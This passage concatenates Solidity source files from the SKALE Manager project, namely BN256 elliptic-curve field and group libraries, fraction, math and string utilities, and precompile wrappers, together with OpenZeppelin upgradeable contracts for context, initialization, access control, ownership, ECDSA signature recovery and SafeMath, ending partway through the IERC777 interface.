SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "./Precompiled.sol";
library Fp2Operations {
using SafeMath for uint;
struct Fp2Point {
uint a;
uint b;
}
uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) {
return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) });
}
function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) {
return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) });
}
function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure
returns (Fp2Point memory difference)
{
uint p = P;
if (diminished.a >= subtracted.a) {
difference.a = addmod(diminished.a, p - subtracted.a, p);
} else {
difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p);
}
if (diminished.b >= subtracted.b) {
difference.b = addmod(diminished.b, p - subtracted.b, p);
} else {
difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p);
}
}
function mulFp2(
Fp2Point memory value1,
Fp2Point memory value2
)
internal
pure
returns (Fp2Point memory result)
{
uint p = P;
Fp2Point memory point = Fp2Point({
a: mulmod(value1.a, value2.a, p),
b: mulmod(value1.b, value2.b, p)});
result.a = addmod(
point.a,
mulmod(p - 1, point.b, p),
p);
result.b = addmod(
mulmod(
addmod(value1.a, value1.b, p),
addmod(value2.a, value2.b, p),
p),
p - addmod(point.a, point.b, p),
p);
}
function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) {
uint p = P;
uint ab = mulmod(value.a, value.b, p);
uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p);
return Fp2Point({ a: mult, b: addmod(ab, ab, p) });
}
function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) {
uint p = P;
uint t0 = mulmod(value.a, value.a, p);
uint t1 = mulmod(value.b, value.b, p);
uint t2 = mulmod(p - 1, t1, p);
if (t0 >= t2) {
t2 = addmod(t0, p - t2, p);
} else {
t2 = (p - addmod(t2, p - t0, p)).mod(p);
}
uint t3 = Precompiled.bigModExp(t2, p - 2, p);
result.a = mulmod(value.a, t3, p);
result.b = (p - mulmod(value.b, t3, p)).mod(p);
}
function isEqual(
Fp2Point memory value1,
Fp2Point memory value2
)
internal
pure
returns (bool)
{
return value1.a == value2.a && value1.b == value2.b;
}
}
library G1Operations {
using SafeMath for uint;
using Fp2Operations for Fp2Operations.Fp2Point;
function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return Fp2Operations.Fp2Point({
a: 1,
b: 2
});
}
function isG1Point(uint x, uint y) internal pure returns (bool) {
uint p = Fp2Operations.P;
return mulmod(y, y, p) ==
addmod(mulmod(mulmod(x, x, p), x, p), 3, p);
}
function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) {
return isG1Point(point.a, point.b);
}
function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) {
return point.a < Fp2Operations.P && point.b < Fp2Operations.P;
}
function negate(uint y) internal pure returns (uint) {
return Fp2Operations.P.sub(y).mod(Fp2Operations.P);
}
}
library G2Operations {
using SafeMath for uint;
using Fp2Operations for Fp2Operations.Fp2Point;
struct G2Point {
Fp2Operations.Fp2Point x;
Fp2Operations.Fp2Point y;
}
function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return Fp2Operations.Fp2Point({
a: 19485874751759354771024239261021720505790618469301721065564631296452457478373,
b: 266929791119991161246907387137283842545076965332900288569378510910307636690
});
}
function getG2Generator() internal pure returns (G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return G2Point({
x: Fp2Operations.Fp2Point({
a: 10857046999023057135944570762232829481370756359578518086990519993285655852781,
b: 11559732032986387107991004021392285783925812861821192530917403151452391805634
}),
y: Fp2Operations.Fp2Point({
a: 8495653923123431417604973247489272438418190587263600148770280649306958101930,
b: 4082367875863433681332203403145435568316851327593401208105741076214120093531
})
});
}
function getG2Zero() internal pure returns (G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return G2Point({
x: Fp2Operations.Fp2Point({
a: 0,
b: 0
}),
y: Fp2Operations.Fp2Point({
a: 1,
b: 0
})
});
}
function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) {
if (isG2ZeroPoint(x, y)) {
return true;
}
Fp2Operations.Fp2Point memory squaredY = y.squaredFp2();
Fp2Operations.Fp2Point memory res = squaredY.minusFp2(
x.squaredFp2().mulFp2(x)
).minusFp2(getTWISTB());
return res.a == 0 && res.b == 0;
}
function isG2(G2Point memory value) internal pure returns (bool) {
return isG2Point(value.x, value.y);
}
function isG2ZeroPoint(
Fp2Operations.Fp2Point memory x,
Fp2Operations.Fp2Point memory y
)
internal
pure
returns (bool)
{
return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0;
}
function isG2Zero(G2Point memory value) internal pure returns (bool) {
return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0;
// return isG2ZeroPoint(value.x, value.y);
}
function addG2(
G2Point memory value1,
G2Point memory value2
)
internal
view
returns (G2Point memory sum)
{
if (isG2Zero(value1)) {
return value2;
}
if (isG2Zero(value2)) {
return value1;
}
if (isEqual(value1, value2)) {
return doubleG2(value1);
}
Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2());
sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x));
sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x)));
uint p = Fp2Operations.P;
sum.y.a = (p - sum.y.a).mod(p);
sum.y.b = (p - sum.y.b).mod(p);
}
function isEqual(
G2Point memory value1,
G2Point memory value2
)
internal
pure
returns (bool)
{
return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y);
}
function doubleG2(G2Point memory value)
internal
view
returns (G2Point memory result)
{
if (isG2Zero(value)) {
return value;
} else {
Fp2Operations.Fp2Point memory s =
value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2());
result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x));
result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x)));
uint p = Fp2Operations.P;
result.y.a = (p - result.y.a).mod(p);
result.y.b = (p - result.y.b).mod(p);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
FractionUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
library FractionUtils {
using SafeMath for uint;
struct Fraction {
uint numerator;
uint denominator;
}
function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) {
require(denominator > 0, "Division by zero");
Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator});
reduceFraction(fraction);
return fraction;
}
function createFraction(uint value) internal pure returns (Fraction memory) {
return createFraction(value, 1);
}
function reduceFraction(Fraction memory fraction) internal pure {
uint _gcd = gcd(fraction.numerator, fraction.denominator);
fraction.numerator = fraction.numerator.div(_gcd);
fraction.denominator = fraction.denominator.div(_gcd);
}
// numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1
function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) {
return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator));
}
function gcd(uint a, uint b) internal pure returns (uint) {
uint _a = a;
uint _b = b;
if (_b > _a) {
(_a, _b) = swap(_a, _b);
}
while (_b > 0) {
_a = _a.mod(_b);
(_a, _b) = swap (_a, _b);
}
return _a;
}
function swap(uint a, uint b) internal pure returns (uint, uint) {
return (b, a);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
StringUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
library MathUtils {
uint constant private _EPS = 1e6;
event UnderflowError(
uint a,
uint b
);
function boundedSub(uint256 a, uint256 b) internal returns (uint256) {
if (a >= b) {
return a - b;
} else {
emit UnderflowError(a, b);
return 0;
}
}
function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) {
if (a >= b) {
return a - b;
} else {
return 0;
}
}
function muchGreater(uint256 a, uint256 b) internal pure returns (bool) {
assert(uint(-1) - _EPS > b);
return a > b + _EPS;
}
function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) {
if (a > b) {
return a - b < _EPS;
} else {
return b - a < _EPS;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Precompiled.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
library Precompiled {
function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) {
uint[6] memory inputToBigModExp;
inputToBigModExp[0] = 32;
inputToBigModExp[1] = 32;
inputToBigModExp[2] = 32;
inputToBigModExp[3] = base;
inputToBigModExp[4] = power;
inputToBigModExp[5] = modulus;
uint[1] memory out;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20)
}
require(success, "BigModExp failed");
return out[0];
}
function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) {
uint[3] memory inputToMul;
uint[2] memory output;
inputToMul[0] = x;
inputToMul[1] = y;
inputToMul[2] = k;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40)
}
require(success, "Multiplication failed");
return (output[0], output[1]);
}
function bn256Pairing(
uint x1,
uint y1,
uint a1,
uint b1,
uint c1,
uint d1,
uint x2,
uint y2,
uint a2,
uint b2,
uint c2,
uint d2)
internal view returns (bool)
{
bool success;
uint[12] memory inputToPairing;
inputToPairing[0] = x1;
inputToPairing[1] = y1;
inputToPairing[2] = a1;
inputToPairing[3] = b1;
inputToPairing[4] = c1;
inputToPairing[5] = d1;
inputToPairing[6] = x2;
inputToPairing[7] = y2;
inputToPairing[8] = a2;
inputToPairing[9] = b2;
inputToPairing[10] = c2;
inputToPairing[11] = d2;
uint[1] memory out;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20)
}
require(success, "Pairing check failed");
return out[0] != 0;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
StringUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
library StringUtils {
using SafeMath for uint;
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory _ba = bytes(a);
bytes memory _bb = bytes(b);
string memory ab = new string(_ba.length.add(_bb.length));
bytes memory strBytes = bytes(ab);
uint k = 0;
uint i = 0;
for (i = 0; i < _ba.length; i++) {
strBytes[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
strBytes[k++] = _bb[i];
}
return string(strBytes);
}
}
pragma solidity ^0.6.0;
import "../Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(address recipient, uint256 amount, bytes calldata data) external;
/**
